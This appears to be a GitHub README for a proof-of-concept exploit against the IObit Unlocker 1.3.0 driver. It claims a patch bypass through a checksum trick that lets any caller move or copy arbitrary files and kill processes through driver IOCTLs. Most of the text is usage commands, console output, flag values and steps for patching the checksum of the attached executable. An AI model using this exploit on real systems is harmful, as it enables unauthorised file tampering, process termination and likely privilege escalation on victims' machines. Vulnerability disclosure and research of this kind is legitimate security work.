nasawyer7/iobitunlockerunlocker(0 day) CVE-2026-37334 Moves or Copies any file. Bypasses previous patch with a checksum trick. IObit Unlocker v. 1.3.0
(0 day) Moves or Copies any file. Bypasses previous patch with a checksum trick.
Writup: https://nathan2.com/files/iobit.pdf Overall info: https://nathan2.com/posts/iobit/
I discovered this without knowing that this there was another previous exploit that discovered this first. However, this bypasses the patch that IObit made. Functions in version 1.3.0
Usage:
C:\Users\nathan\source\repos\driverhandlerchecker\x64\Release\driverhandlerchecker.exe "C:\copied.txt" "C:\t.txt" 4 1
--- Sending Request ---
Source: C:\copied.txt
Dest: C:\t.txt
Subtype: 4 | Flags: 1
IOCTL Succeeded. Driver returned 4 bytes.
Verification: Target file exists/accessible.
More flags:
Usage: UnlockerCLI.exe <SourcePath> <DestPath> <Subtype> <Flags>
Example: UnlockerCLI.exe "C:\Path With Space\file.txt" "C:\backup\file.txt" 3 (subtype) 5 (operation flag)
Subtypes: (at least the ones i use) 3=move, 4=copy
Operation Flags: 0=Do not remove handle, 1 = remove handles, 2 = kill processes with handles, 4 = kill processes and remove handles, 5??? experiement.
The attached executable should be functional and already patched. If not, read below.
Use the checksum patcher to patch the poc. Like so:
C:\Users\nathan\source\repos\driverhandlerchecker\x64\Release\checksumpatcher.exe C:\Users\nathan\source\repos\driverhandlerchecker\x64\Release\driverhandlerchecker.exe
Original File Size: 235449 bytes
Current Alternating Sum: 11044471
Current XOR Sum: 43
File already has the correct checksums. No changes needed.
This will allow the executable to communicate with the IObitUnlocker driver.